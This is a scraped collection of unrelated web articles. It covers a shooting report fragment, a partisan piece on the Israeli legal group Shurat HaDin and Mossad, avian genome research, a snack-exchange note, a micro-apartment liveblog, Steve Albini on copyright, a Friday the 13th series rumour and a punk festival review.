player while standing over him, Jefferson Parish authorities said. Authorities named the shooter as Ronald Gasser, 54, and said he stayed at the scene and turned his gun in to officers. Gasser was in custody and was being questioned, Jefferson Parish Sheriff Newell Normand said. The sheriff said McKnight did not have a gun, and deputies did not find a gun outside McKnight's vehicle. -Nitsana Darshan-Leitner Wikipedia The director of a supposedly independent group of Israeli lawyers privately admitted to a US embassy official it acted as a proxy for the Israeli government, a leaked US embassy cable shows. Nitsana Darshan-Leitner confided in 2007 that her Shurat HaDin group in the past “took direction … on which cases to pursue” and still “receives evidence” from the Mossad and from Israel’s National Security Council. This is in direct contradiction to public claims, such as on its website which states it is a “fully independent” organization “unaffiliated with any political party or governmental body.” The group has fought several high-profile “lawfare” cases against Palestine solidarity activists around the world in recent years. Mossad lead The leaked cable was unearthed by lobbying transparency outfit SpinWatch in an article earlier this month. It was one of the US embassy cables leaked by former US soldier Chelsea (formerly Bradley) Manning in 2010 and published by WikiLeaks in 2011. The cable’s author quotes Darshan-Leitner as explaining the government’s rationale for using a proxy rather than going to local courts directly: “The National Security Council (NSC) legal office saw the use of civil courts as a way to do things that they are not authorized to do.” “Among her contacts, Leitner listed Udi Levy at the NSC and Uzi Beshaya at the Mossad, both key [US] Embassy contacts on anti-terrorist finance cooperation,” wrote the unnamed official who apparently authored the cable after meeting with Leitner in 2007. The NSC is an Israeli military planning body led by generals and other senior military figures — including top Mossad figures. At the time of the cable was written, the NSC’s head was Ilan Mizrahi, a former deputy chief of Mossad. Nitsana Darshan-Leitner and Shurat HaDin did not reply to an email sent yesterday seeking comment on the issues raised in this article. Who are Shurat HaDin? Shurat HaDin, also known as The Israel Law Center, paints itself as a “civil rights” group. It also claims to be a “world leader in combating the terrorist organizations and the regimes that support them through lawsuits litigated in courtrooms around the world.” But more recently a primary focus has been lawsuits against Palestine solidarity activists. A main section of its website is dedicated to regular “BDS Updates” on the boycott, divestment and sanctions campaign — which it describes as “having a perilous impact on Israel’s security and diplomatic capabilities.” Sensationally dubbed “The Ultimate Mission to Israel,” it also runs an annual tour of Israeli military bases, courts, prisons, settlements and “the controversial Security Fence.” This year’s “mission” happens to be taking place this week. At a cost of about $3,000 per person, it promises the chance to meet Israeli soldiers and officers, undercover collaborators, cabinet ministers and to “observe a trial of Hamas terrorists in an IDF military court.” Unsurprisingly this promised rogues gallery also includes “briefings by Mossad officials and commanders of the Shin Bet.” In 2011, Max Blumenthal discovered that a major funder for Shurat HaDin was John Hagee, the anti-Semitic Christian Zionist mega-pastor. Harassing activists Palestine solidarity activists are not exactly flush with cash, so civil litigation against them can hardly be a profitable affair. Therefore, the revelation that Shurat HaDin is a proxy for Israeli government agencies fits perfectly with its mode of operation. It has been involved in several high profile cases of legal harassment against activists around the world. In Australia, Shurat HaDin is threatening to sue two academics at the University of Sydney’s Center for Peace and Conflict Studies who dared to support the academic boycott of Israel. Shurat HaDin filed a complaint against Jake Lynch and Stuart Rees with the Human Rights Commission, but it was terminated in September. However, the Mossad-linked group is now threatening to take the case to federal court before a deadline on Monday. Antony Loewenstein, Sydney-based independent journalist and author, told me in an email: There is growing realization amongst hardline Zionist groups that critics of Israel and its brutal occupation are winning over the public across the world … [so] groups such as Shurat HaDin dare to pursue legitimate advocates of Palestinian justice. In Australia, with barely any public support … the tiny organization is attempting to shut down the few outspoken backers of BDS through tribunals and the courts. Public opinion polls now show in Australia that a majority of the population supports Palestine so Shurat HaDin are fighting a losing battle. “No basis for any action” In the US, Shurat HaDin tried to pursue a very similar case against a California State University, Northridge mathematics professor. As reported by The Electronic Intifada last year, a Shurat HaDin front group asked California’s Attorney General to investigate and prosecute David Klein for the supposed crime of hosting a pro-boycott web page on university servers. The Attorney General’s office found there was “no basis for any action,” but a second anti-Palestinian group renewed this harassment of Klein last month. In 2011, activists planning a siege-busting flotilla to Gaza were foiled by anonymous legal harassment filed against the boats while docked in Greece. It was discovered that Shuarat HaDin had been behind this complaint. “Israel needs to invade the Hague” Director Nitsana Darshan-Leitner, a winner of the 2012 Moskowitz Prize for Zionism, likes to portray herself as a “civil rights” activist, but this is a pretty thin veneer. In 2009, Darshan-Leitner wrote an op-ed in The Jerusalem Post entitled “Israel needs to invade The Hague” — a headline intended quite literally. The article lamented that Israeli officers are increasingly fearful of being arrested in war crimes cases while traveling the world. She argued for aggressive military action to be taken against the International Criminal Court should it ever hold any suspected Israeli war criminal. She demanded a law allowing Israel “to utilize all necessary force to resist any effort to arrest IDF [sic - Israeli military] officers accused of war crimes anywhere in the world. Foreign countries should be made to understand we mean business.” This hawkish attitude is no surprise considering her group’s strong links to Israeli spooks. In a Washington, DC panel last year, she spoke about her group’s rationale in a very similar way as in the leaked cable. She explained Israel’s need for an arms-length approach: “The Israeli government has some constraints, has some problems: they have to be politically correct. They have foreign relationships, they have international treaties they are signed of [sic] and they cannot do what private lawyers can do.” In her 2012 speech, she also boasted that thanks to what she claimed as one of Shurat HaDin’s successes that “there is no banking system in Gaza” now. She also denigrated the entire Gaza Strip, of more than 1.6 million people, as a “terror zone.” Interestingly, she also boasted about “How we stopped the flotilla to Gaza.” Killers The Mossad is Israel’s secret international terrorism wing, notorious for car bombings, assassinations and kidnappings — especially of Palestinian and Arab activists and fighters. In a 2011 interview, Mizrahi (who was head of the NSC at the same time Darshan-Leitner admitted to working closely with the body) all but admitted that Mossad had assassinated scientists in Iran: “the Mossad has a heritage of being ruthless, an ability to penetrate deep — yes. I think that the Mossad has it all over the Middle East and beyond.” What kind of “civil rights” group takes its lead from a deadly state intelligence apparatus? Shurat HaDin is quoted in the international press as if it were a civil rights group or just blandly as “an Israel law center,” as one Guardian article put it in May, stating that Stephen Hawking was “accused of hypocrisy” (by Shurat HaDin). These revelations should make journalists such Harriet Sherwood far more sceptical about taking Shurat HaDin’s claims to be “independent” at face value. -A remarkable international effort to map out the avian tree of life has revealed how birds evolved after the mass extinction that wiped out the dinosaurs into more than 10,000 species alive today. More than 200 scientists in 20 countries joined forces to create the evolutionary tree, which reveals how birds gained their colourful feathers, lost their teeth, and learned to sing songs. The project has thrown up extraordinary similarities between the brain circuits that allow humans to speak and those that give some birds song: a case of common biology being arrived at via different evolutionary routes. Some birds are shown to have unexpectedly close relationships, with falcons more closely related to parrots than eagles or vultures, and flamingoes more closely related to pigeons than pelicans. The map also suggests that the earliest common ancestor of land birds was an apex predator, which gave way to the prehistoric giant terror birds that once roamed the Americas. Facebook Twitter Pinterest Some birds are shown to have unexpectedly close relationships, with falcons more closely related to parrots than eagles or vultures, and flamingoes more closely related to pigeons than pelicans. Photograph: Alamy “This has not been done for any other organism before,” Per Ericson, an evolutionary biologist at the Swedish Museum of Natural History in Stockholm, told the journal Science. “It’s mind-blowing.” The scientists began their task by analysing fingernail-sized pieces of frozen flesh taken from 45 bird species, including eagles, woodpeckers, ostriches and parakeets, gathered by museums around the world over the past 30 years. From the thawed-out tissue, they extracted and read the birds’ whole genomes. To these they added the genomes of three previously sequenced species. It took nine supercomputers the equivalent of 400 years of processor time to compare all the genomes and arrange them into a comprehensive family tree. Members of the project, named the Avian Phylogenomics Consortium, published the family tree and their analysis on Thursday in eight main papers in the journal Science, and in more than 20 others in different scientific journals. Facebook Twitter Pinterest The loss of so many species in a mass extinction freed up vast ecological niches, giving feathered animals an unprecedented chance to diversify. Photograph: Alamy The rise of the birds began about 65m years ago. A mass extinction – probably caused by an asteroid collision – wiped out most of the larger-bodied dinosaurs, but left a few feathered creatures. The loss of so many other species freed up vast ecological niches, giving these animals an unprecedented chance to diversify. Comparisons of the birds’ genomes with those of other animals pointed researchers towards a host of genes involved with the emergence of coloured feathers. While feathers may first have emerged for warmth, colourful plumage may have played a part in mating success. Researchers at the University of South Carolina found that waterbirds had the lowest number of genes linked to feather coloration, while domesticated pets and agricultural birds had eight times as many. Further analysis of the genomes revealed that the common ancestor of all living birds lost its teeth more than 100m years ago. Mutations in at least six key genes meant that the enamel coating of teeth failed to form around 116m years ago. Tooth loss probably began at the front of the jaw and moved to the rear as the beak developed more fully. Facebook Twitter Pinterest Despite sharing many of the same genes, parrots and songbirds gained the ability to learn and copy sounds independently from hummingbirds. Photograph: Luis Acosta/AFP/Getty Images “Ever since the discovery of the fossil bird Archaeopteryx in 1861, it has been clear that living birds are descended from toothed dinosaurs. However, the history of tooth loss in the ancestry of modern birds has remained elusive for more than 150 years,” said Mark Springer at the University of California, Riverside. Birdsong has evolved more than once. Despite sharing many of the same genes, parrots and songbirds gained the ability to learn and copy sounds independently from hummingbirds. More striking is that the group of 50 or so genes that allow some birds to sing is similar to those that give humans the ability to speak. “This means that vocal learning birds and humans are more similar to each other for these genes in song and speech areas in the brain than other birds and primates are to them,” said Erich Jarvis at Duke University in North Carolina. Facebook Twitter Pinterest The scientists began their task by analysing fingernail-sized pieces of frozen flesh taken from 45 bird species, including eagles, woodpeckers, ostriches and parakeets. Photograph: Martin Harvey/Getty Images/Gallo Images The common genes are involved in making fresh connections between brain cells in the motor cortex and those that control muscles used to make sounds. Perhaps unsurprisingly, the scientists found differences in the vocal regions of the parrot brain. These birds had an area of brain for producing song that was surrounded by a secondary region, leading to what the researchers called “a song system within a song system”. David Burt at Edinburgh University’s Roslin Institute said the results, the first to be released by the consortium, were only the beginning. “We hope that giving people the tools to explore this wealth of bird gene information in one place will stimulate further research,” he said. “Ultimately, we hope the research will bring important insights to help improve the health and welfare of wild and farmed birds.” How penguins adapted to frigid conditions Penguin DNA collected for the avian family tree project has cast light on how the flightless birds endure the Antarctic’s cold hostile environment. Researchers led by Cai Li, at the Beijing Genomics Institute, analysed the genomes of Adélie and emperor penguins and found scores of genetic changes that help them adapt to the frigid conditions. Both penguins were found to have a beefed-up gene set for making proteins for feathers, ensuring a densely packed covering of the short, stiff feathers, which keeps heat in and water out. The scientists also spotted a gene, known as DSG1. In humans it causes thick skin on the hands and feet; in the penguins this adaptation, present all over the body, is beneficial. Facebook Twitter Pinterest Research suggests emperor penguins have been better able to handle the harsh environment than other penguin species. Photograph: Frans Lanting/Getty Images/Mint Images Penguins must withstand the cold and go without food for months on end, making fat storage a crucial factor in survival. The Adélie penguin were seen to have eight genes involved with metabolism of fatty lipids, though the emperor had only three. The birds lost their ability to fly but their wings became supremely adapted to underwater acrobatics. Writing in the journal GigaScience, Li’s team describes 17 genes that have driven the re-shaping of penguins’ forelimbs. Mutations in one of those genes, called EVC2, causes Ellis-van Creveld syndrome, a genetic disorder that causes short-limb dwarfism and short ribs in people. The first penguins evolved about 60m years ago, but the emperors and Adélies have markedly different histories. The Adélie penguin population grew rapidly 150,000 years ago as the climate warmed, but crashed by 40% when a cold and dry glacial period arrived 60,000 years ago. The emperor penguins fared better, their numbers hardly changing, pointing to a better ability to handle the harsh environment. -A little later than expected but mistakes happen. It was a nice surprise to receive so much stuff form Canada. I'm in the UK so don't get these things. I was sent: some chocolate - looking forward to comparing to our own chocolate here, ketchup chips - called crisps over here, we have loads of flavours but not ketchup, aloo bhujia - we have bombay mix which I love, this looks similar so looking forward to opening it at the weekend, blueberry cream covered sticks - never seen those before, looks good hello panda - which I've eaten, those were good yanyan - I forget what it was called but it was very tasty. Also in the package were loads of warhead sour sweets. I've left a handful in the staff room at work to see what everyone else thinks. They are pretty powerful. Thanks again for the gift, it's very tasty. -[Photos by Will Femia from the opening of the "Making Room" exhibit.] A developer will break ground before the end of the year on New York City's first building full of micro-apartments, an attempt to adapt NYC's housing stock to its growing number of small households. While those micro-apartments don't yet exist, the Museum of the City of New York is already considering all things micro-housing with "Making Room," an exhibition devoted to new housing models for the city. The exhibit's centerpiece is a 325-square-foot apartment designed by Pierluigi Colombo, and for the next 24 hours, starting right now, the Curbed editors will be liveblogging from that micro-apartment. We'll be chatting with museum visitors, talking to experts about small-space living, and dissecting what it's really like to live in an apartment of this size (which is actually larger than some of the planned units in the city's development). Want to check out the space? Come visit us during museum hours, until 6 p.m. today or between 10 a.m. and noon tomorrow. Find part 1 of our chronicles below, or skip ahead to part 2, and round it out with part 3 and our grand wrap-up. Noon: We're here, and there's a small crowd of about five people in the micro-unit, including someone from Resource Furniture demonstrating how the furniture folds and unfolds. 12:06 p.m.: One of the museum-goers tells us he lived for a while in a hotel room in Times Square that was smaller than this micro-apartment. 12:21 p.m.: The actual micro-units being built by the city will be between 250 and 370 square feet, below the current city minimum of 400 square feet. The microunit in the museum is designed by Clei, an Italian company, with customized furniture. 12:34 p.m.: Our "blogger zone" desk is larger than some of our work spaces at home. The desk part folds up when not in use, creating more space in the already very spacious living room. 12:41 p.m. A couple from Charlotte, North Carolina tells us they could fit approximately three and a half of these micro-units in their condo. 12:46 p.m.: The museum is hosting a "cooking in small spaces demo" in the museum in a few minutes. This is the space they have to cook in: 12:51 p.m.: We have 12 people in the living room/kitchen, with the bed down. Feels a bit cramped near the desk. Everyone is most impressed by the bar behind the TV (pictured below), which is the only custom-built feature in the unit. The rest of the furniture and systems are commercially available from Resource Furniture. 1:01 p.m.: The apartment is packed for the cooking demo: 1:04 p.m.: Chef Terri Lee of Great Performances is ready to make gazpacho for the crowd: 1:15 p.m.: A view of the crowd. At one point, there were about 26 spectators: Lee has one piece of advice for chefs cooking in small spaces: splitting the fridge and freezer into a half-fridge and half-freezer actually gives you more counter space. 1:31 p.m.: An Upper East Sider making a repeat visit to the exhibit tells us her space is 415 or 420 square feet, but the micro-unit feels more spacious. The only thing she would change would be to add more space for clothes?the micro-unit only has two small closets. 1:50 p.m.: The cost of the multi-functional furniture systems has come up repeatedly in conversations with guests. The sleek, compact furniture is why the unit feels as spacious as it does, but for many people, especially those who choose a smaller space because the rent is less, the cost is too much. Bed systems from Resource Furniture range from $7,000 to $15,000. As one New Yorker put it, "It's not for your normal working girl." 2:00 p.m.: If you aren't free to visit us during museum hours, we'd still love your contributions to our liveblog. Have you ever lived in a teeny NYC apartment? Tell us about it!. (Hand-drawn floorplans also highly encouraged.) 2:21 p.m.: Another visitor to the museum shares a nine-bedroom Victorian mansion in Ditmas Park?three floors, original wood, etc. She's one of the few people to come through so far who doesn't want to move out of her own house into the micro-unit. 2:34 p.m.: Several guests have noted that the bathroom feels oversized for the unit, but because of ADA compliance laws, it's the smallest size allowed for bathrooms in new developments. The bathroom is also the most expensive room in the unit because it's designed by Philippe Starck: 2:45 p.m.: The most frequent question is "how much does it cost?" Resource Furniture's products are made to order, but the kitchen in this unit runs about $16,000, including the appliances (half refrigerator, half freezer, convection oven, stovetop, and microwave). Fun fact: the actual appliances in the micro unit were made in Italy (along with the rest of the furniture) so they are configured for Italian voltage and power sockets and could never be hooked up here. 2:53 p.m.: "I wish I had invented this," sighs one visitor, watching the television slide over to reveal the bar. 3:04 p.m.: The imagined occupant of this apartment is this lady, whose portrait sits above our desk: She's a 30-year-old teacher who doesn't cook but likes to host cocktail parties?that's why the TV hides a bar instead of a larger table that could seat 10. 3:34 p.m.: An interior designer who works for a Westchester developer that builds apartment complexes stopped by to get inspiration for her work, in particular, how to encourage her superiors to include modern updates within more traditional unit designs. Taking videos with her phone, she notes that she likes the garage door-style kitchen cabinets for space-saving. "My kitchen is smaller than this kitchen," she says. "But I don't know if I could live here." 3:44 p.m.: This mattress is biodegradable. 3:52 p.m.: A Resource Furniture rep demonstrates how to fold a kitchen island on wheels into a table for four, and how to take apart a stool/coffee table into four separate seats to go around it. Four other folding chairs hang flat, rather unobstrusively, against a wall by the door. One wide-eyed spectator exclaims: "You can just forget about chairs!" Later, another comments, "It's a lifestyle choice." 4:02 p.m.: Wesley from Untapped Cities stops by the micro-unit. Like everyone, he's impressed by the design, but isn't sure he could live here. Since everything folds into everything, any activity in the apartment requires planning and forethought. And constant cleanliness. 4:18 p.m.: Another design-centric journalist outlet passes through to share thoughts. Architizer's Steven Thomson says: "It's intense. You think most people who want to have this kind of lifestyle would be a DIY type, kind of scruffy. But this is super sleek, so that's an interesting angle. You can lead your yuppie life. It's just smaller." 4:20 p.m.: There was another cooking demonstration, and so many people packed into our temporary home that we had to step outside into the "Making Room" exhibition. Here's a trivia question: Which city in the U.S. has the largest number of single-person households? We'll post the answer in 10 minutes! 4:39 p.m.: Turns out Washington, D.C. has the most single-person households in the country, with 44 percent of all households containing only one person, followed by Seattle, Denver, San Francisco, and Baltimore. New York clocks in at No. 17 with 32 percent. The list was derived from the 2010 census and only included cities with more than 500,000 residents. Our theory? It's so expensive to live alone in New York that although there's an abundance of single young professionals, many live with roommates, significant others, or their families. 4:49 p.m.: A Brooklyn landlord stops by the unit and chats a bit with us and another visitor about what type of renter the apartment might appeal to. The consensus: a late-20s – mid-30s corporate professional making six figures "with an image to maintain." Our landlord knows some people who would kill to get into this place if they could pay under $2,000/month. 5:04 p.m.: Master appraiser Jonathan Miller is on the scene waiting for the unit to clear out a little bit so that he can do an appraisal. He's impressed by the amount of space (it's bigger than his parents' 300-square-foot studio on the west side), and even more impressed by the gazpacho. 5:24 p.m.: A family of three from New Rochelle, who used to live in a 700-square-foot apartment and recently upgraded to a 1,600-square-foot house, is mesmerized by the video of the furnishings unfolding and retracting. When asked if they would live here, David, 11, remarked, "it's relaxing." (Which means, his mother explained, not cluttered, simple, minimalist.) Then Sonia, 8, nodded vigorously, while her mother tactfully warned that whoever would live here "doesn't have that many belongings." 5:37 p.m.: This video has been playing on loop on the TV this entire time. The music is very soothing. Everybody who watches it comments on the chair that folds out into a step ladder. We all want one in our apartments. Don't stop here, because this epic adventure continues. For hours 7 to 21 of the 24-hour liveblog, head this way. For the last chunk of time in the micro-unit, here's part 3. · Liveblogging 24 Hours in a 325-Square-Foot Apartment: The Adventure Begins (Part 1) [Curbed] · 24 Hours in a 325-Square-Foot Apartment: The Night Shift (Part 2) [Curbed] · 24 Hours in a 325-Square-Foot Apartment: A New Day (Part 3) [Curbed] · We Survived 24 Hours in a 325-Square-Foot Apartment (Part 4) [Curbed] · All Microdwellings coverage [Curbed] -Steve Albini Takes On 'Parasitic' Record Labels And Copyright's 'Outdated' Illusion Of Control from the the-future's-here-if-you-want-it dept Musician and producer Steve Albini has never been a fan of the recording industry. He posted the definitive essay on how labels screw artists over 20 years ago, and it's just as relevant today as it was then. The internet (read: file sharing) has been public enemy #1 for the recording industry (and now the motion picture industry), despite offering a host of benefits to artists and labels. Those at the top see its decentralized distribution as a threat, with any accompanying gains in marketing power and reach deemed a net loss after totalling up the "lost sales." Albini -- similarly affected by these same "negatives" -- doesn't see it this way. While acknowledging the fact that infringement occurs in amounts previously unseen (but that it's not in any way a new thing -- just far more efficient and not necessarily a bad thing), he continues to point out that the problems the music industry suffers from are mostly self-inflicted. Speaking to an audience in Barcelona, Albini elaborated on his "updated" rant against the industry. Now expanded to include the massive increase of internet usage, the points still remain largely the same. There's a problem in the recording industry -- one virtually identical to the one pointed out by Albini in 1993. And that problem is… the recording industry. “I don’t feel like I’m part of the music industry, the music industry meaning the corporatised business structures where you have people who are in the lower level, people in the upper level, people in administration, and people making legal relationships between all those people. [...] This administrative business structure that’s syphoning money out of that whole scene has always seemed artificial and unnecessary and I’ve spent my life trying to remove its influence.” “The idea that you have to have contracts to do [business] agreements, that you have to have formal understanding between people in order to have a long relationship, is a complete fallacy. If you enjoy working with someone and both feel the relationship is working out, you naturally carry on indefinitely. That’s the way I’ve approached essentially all of my business, you don’t need contracts." “The old copyright model – the person who creates something owns it and anyone else that wants to use it or see it has to pay them – has expired in the same way that around the world you’re seeing structures and social norms [lapse] that were standard for many years. It’s going to take a lot for the business to catch up to where the audience is, in the same way it takes a while for the church and the laws to catch up to where the people are. But there is no longer the possibility to exclusively control music through copyright.” While the industry frets about "lost sales," it has done very little to evolve from the bloated form it took on during the 40+ year run where multiple format shifts resulted in unprecedented sales figures. It's not just the corporate structure that's a problem. And this isn't to say labels haven't shed personnel over the years. It's just that they've been forced to make cuts due to falling revenue, rather than actively working to streamline their operations to fit the expectations of the internet age. Frontline staff and low-level employees have lost jobs but there are still many layers of employees distancing artists from those who own them.Then there are the lawyers. Some are there to ensure every last bit of revenue can be wrung out of an artist before any royalty checks are cut. Some are there to explore every possible legal angle that might be used to combat piracy The first sort have always been present. The latter still exist only because industry heads still hold out hope that file sharing can somehow be defeated with court orders and legislation.Albini says the first set are roughly as useless as the last.But youneed a contract if the "relationship" is actually just exploitation. This is why contracts are of utmost importance to the recording industry. Artists may initially show enthusiasm when offered a recording contract, but a few years down the road, they often find they're cranking out recordings just to avoid going deeper in debt. An equitable agreement -- like those used by Albini (who prefers a flat-rate fee for his production work, rather than seeking a cut of every sale or stream in perpetuity) -- doesn't need a multi-page contract or a team of lawyers. Honesty and openness up front can trim a lot of pages from an agreement... as well as the jobs of lawyers whose entire purpose is to ensure "agreements" are as long and inscrutable as possible.Lastly, Albini goes after copyright -- itself a legacy business model.Those arguing that stronger copyright protections will somehow "control" social sharing aren't grasping the reality of the situation. As it stands now, any copyright holder can demand $150,000 per infringement in statutory damages, and yet, that has had no appreciable effect on infringement. Just ask Rightscorp , which offers $20/infringement "settlements" while waving threats of $150,000 "fines" over internet subscribers' heads. It's in the business of spending money to lose money.The idea that lifetime+ copyright terms will put creators' grandkids through college is likewise suspect. Grandkids are going to college thanks to these terms, but they're the descendants of label execs and studio heads.The "control" offered by copyright is an illusion. The continued belief in this misconception allows labels to take advantage of artists. An artist may feel (incorrectly) that an individual can never hope to fully exploit his or her creations without the assistance of the marketing and legal teams of major labels, but they almost invariably have to give up full control of their creations to make use of these services. What good is their copyright then? It's not even. And the assistance they're receiving is charged up front at full retail and paid off with royalties -- a tiny percentage of actual sales and profit.As Albini points out, the way people enjoy music continues to change, and attempts to offer iterations of existing platforms and services is missing the point. People, for the most part, don't care about the quality of streaming music. They only care about the convenience. Albini notes that people carried around transistor radios to enjoy music on the go, something that offered truly terrible sound quality, but was no less popular for doing so. The way people consume and distribute creations will continue to change, but trying to harness that potential using contracts, outdated business models and delusions of control will never work. Filed Under: copyright, music industry, record labels, steve albini -Share. Sean Cunningham says The CW is interested in the show. Sean Cunningham says The CW is interested in the show. The latest reports suggest that the new Friday the 13th series will focus on the "real" city of Crystal Lake and that The CW has expressed interest in the concept. Last year, news broke that Friday the 13th creator Sean S. Cunningham was executive producing the new series, entitled Friday the 13th: Crystal Lake Chronicles. Cunningham was at the Monster Mania convention this past weekend, and according to Friday the 13th The Franchise fansite, he dropped some new details about what to expect from the series. The site reports that Cunningham has "confirmed interest from the CW in regards to pickup for the tv show." He reportedly said that the basic premise of the series will focus on the real city of Crystal Lake, looking at the effect that the serialized films had on the town. (NOTE: There is no such place as Crystal Lake, but it was inspired by Camp No-Be-Bo-Sco in Blairstown, NJ.) Exit Theatre Mode The serialized films would be based on the "real life" killings that took place at the camp, which allows the series to reimagine Jason in a more grounded reality. Reportedly, the hockey masked Jason and a more serious backwoods inspired killer will make appearances on the series. Original reports for the series suggested it would be "sort of a Smallville," also claiming that the focus would be on the characters of Crystal Lake. There has also been previous talk of showing Jason in multiple time periods with the use of flashbacks. The pilot script will be written by Bill Basso (Terminator) and Jordu Schell (Avatar), with Cunningham executive producing. Rachel Paxton-Gillilan is a freelance writer. You can find her on Twitter @rachpax. -I woke up to hear the faint, pounding screaming of the Phillidelphia neo-crust act Soothsayer, echoing from the Stable, all the way to our camp. Not too far from me, a guy named Walter had cooked up a makeshift stew out of everyone else’s leftovers, and was inviting everyone around to help themselves. It was a pleasant surprise to all the folks who had just made the unpleasant discovery that the state of Indiana doesn’t allow the sale of alcohol on Sundays. So much for the separation of church and state. On my way to the Barn, I found that the pond had been closed in order to protect its fish inhabitants. Fortunately, even though cooling off wasn’t an option, the festival goers were still ready to unleash a reserve of tremendous energy. I walked into the stable to catch Slugging Percentage delivering their baseball and depression themed songs, not on the stage, but within a circle of pogoing fans. That’s not to say, however, that the day was dominated solely by the hardcore acts. Later on, I had the pleasure of watching Ladycop preform, a six-piece group that delivered neo-pop tunes layered with funky bass and drum lines. At the front of stage, three vocalists stood dressed in white, with glitter on the corners of their eyes, delivering vocal harmonies that were downright angelic. I think the two stand-out acts of the afternoon were Jesus and His Judgmental Father, and Michael Jordan Touch Down Pass. Jesus and His Judgmental Father (which definitely had the best band name of the fest) delivered impassioned queer-centered alternative rock tunes, including “Kings and Queens” which, to my mind, stands as one of the most powerful songs about transphobia that I’ve ever heard. Michael Jordan Touchdown Pass, meanwhile, delivered something much more hard to define, blurring the lines between acoustic punk and experimental rock, even mixing in touches of jazz. Part of the power of the performance was provided by an absolutely amazing white-haired trumpeter whom, I would later learn, was actually Charlie Schneeweis, the father of both Michael Scheeweis, the group’s creator, and Patrick Schneeweis (a.k.a. Pat The Bunny). However one would define their music, the audience was absolutely devouring it, with the mostly-shirtless spectators providing the largest and liveliest day-time turn out of I’d seen so far. Unfortunately, I didn’t manage to grab a picture of their set. I did, however, have my camera handy when, immediately afterwards, a piñata shaped like the Plan-It-X logo was hung from the ceiling and set upon by the crowd. After a much needed dinner break, I caught a performance from Loone, another queercore whose identity was almost entirely shaped by the sheer personality of its front-woman. Guitarist/vocalist Noel’le Longhaul preformed the group’s dreamy post-folk punk tunes in a hypnotically rigid style; where every time she hit a major node or struck a guitar chord, it seemed like she was breaking out of the sheer discomfort of her own skin. This actually added to the power of group’s songs, which all explored this very same notion of trying to find comfort with your sense of self. What really surprised me, however, was when, talking to Longhaul after the show, I found out that I’d pegged the performance entirely wrong, and what I saw wasn’t discomfort, but rather a minor moment of transcendence. “I feel like, a long time ago, I went through feeling really anxious on stage, but I really love preforming,” she explained. “I feel there’s a particular space I can get into with the people in my band, that I think is really special, and I like sharing it with people. I think that our music comes from caring for each other, and so I feel like when I’m preforming about things, that’s what I’m preforming.” Loone was followed by Tig Bitty, a rapper whose mix of hyper-sexual lyrics and experimental booty-shaking beats probably stood as the strangest act of the entire festival. After she was finished, the stage was taken by Whelmed, an East Bay style punk act that accompanied their bright pop-punk tunes by jumping and shaking across the stage, as if their instruments were electrified. Later, while I was walking to the backstage area to charge my camera battery, I had a chance run in with Charlie Schneeweis who, in turn, introduced me to Nick Berger, who played dwith Loone, Paper Bee, and Ramshackle Glory. We had a short discussion about Plan-It-X as an inclusive space, and I was struck by the immense love that Berger had for the community they had found within it. “People from Plan-It-X were some of the first musicians I saw that were queer musicians, and when I started playing in Ramshackle, I felt like one of my biggest goals was to create a space that felt like my teenage punk scene, where the people playing were weird, the people watching were weird, and you could just meet other strange outsiders, and maybe you get a zine or learn about feminism,” Berger recounted. Interestingly, however, they were still willing to point out some of the shortcomings of the DIY community, particularly regarding the general whiteness of both its musicians and fans. “I think there are things we could be doing better; things I could be doing better. Because of the level of whiteness that exists currently, it can be pretty alienating for people of color to just step into it, and to go ‘you guys should do this thing with us because we want more representation’ is pretty tokenizing… I dunno, it’s just really hard to walk the line between inviting a group of people into a space and being tokenizing. But even if there’s not a simple answer, I want to keep thinking about it, because it is a problem in every scene I’ve ever been in.” As a consequence of this interesting talk, I missed the very beginning of Jeff Rosenstock’s set. When I walked in, he was halfway through “I’m Serious, I’m Sorry”, and looked like somethign genuinely inhuman. Absolutely drenched in sweat, he howled into the microphone while laying into his guitar, like it was a beast that needed to be tamed. At one point, somebody threw a shark-shaped life preserver at Rosenstock that managed to perfectly encase his shoulders and bind his arms to his side, yet he kept playing regardless. The music then took a minor break in order for the fest to reveal its sadistic side. At the back of the barn, a table had been set up for the annual Eating Competition, in which all of the contestants had to tuck away an entire 16 oz jar of Veganaise. I was honestly a little too grossed out to stick around and see who won, but I think the photo below speaks for itself. The penultimate act of the night was The Wild, a group I’d always seen as more of a folk-rock group than a punk act, but, boy, did their set make me realize my mistake. The songs that I’d always found soothing when listening on speakers and headphones, were suddenly loud and pounding, whipping the audience into an absolute frenzy. At one point, Jeff Rosenstock hopped back on the stage, seemingly out of nowhere, to join Witt on the mic, before diving into the crowd. Near the end of their show, they subtly revealed that this would, in fact, be their second to last show. Still, this little shock wasn’t enough to taper the audiences sheer adoration as they closed with “Set Ourselves Free”, giving everyone something very strong to remember them by. The final show of the night was, in all likelihood, the the main reason quite a few people came. It was, after all, not only Ramshackle Glory’s final show, but also Pat the Bunny’s final performance before quitting punk entirely. Over the course of the day, the people around me had been speculating how the set might go down. At one point, someone joked “maybe his heart is actually going to explode,” a reference to a line in “From Here To Utopia” that made us laugh, albeit somewhat nervously. On the second day of the festival, I had actually, by chance, run into Pat hanging out near the Barn. I asked if he would be interested in doing some kind of final interview, either before or after his final show, and he firmly declined. That’s not to say he was unfriendly- he was more than happy to chat with me for a while about music, spirituality, and Russian history; he even introduced me to his dad who, by a bizarre coincidence, grew up in the same small Minnesotan town as my mom- however he made it very clear that he didn’t want to give any on the record assessments about punk rock or anarchism. He honestly just seemed like he had moved on from thinking and talking about those two subjects. With that in mind, I’d be lying if I didn’t enter the show with both a sense of disappointment, and high expectations. Would this be a climactic lamentation on recovery and anarchism, or would it feel like an obligatory farewell from someone who no longer felt a connection to his audience? It turned out to be something wonderfully different. The set began with “We Are All Compost in Training”, and from the opening lines, seemingly every member of the audience was singing along word-for-word. The song started out slow and subtle, but on the two parts of the song where the singing stopped, the brass section of the act- two trumpets and a clarinet- kicked in, and you could honestly sense the shivers going through the spines of every member of the audience, as everyone on stage lay into their instruments with all the power that was humanly possible. Of course, that intensity was just a tiny sample of what was to come; next, they played “From Here to Utopia”. This may be one of my favorite songs of all time, and I don’t know whether it was the faster tempo brought by the drum set, the mandolin-esque twang that the guitars seemed to pick up when they played the keyboard section, or the constant chirping of the brass section, but they managed to make it pulse with an energy that felt living and tangible. The trumpeters managed to breathe creative little flourishes into small moments of the song, bringing about the sensibilities of a Dixieland marching band. Meanwhile, every time the song reached a point where Pat screamed his lyrics, I swear the volume of his mic and the crowd were at equal levels. I found myself so caught up in the moment, I thought it would be a good idea to try and photograph the band while in the process of jumping off the stage and crowd surfing (hence the sweat covered photo at the top of the page). From here, they went on to play an unnamed song from their 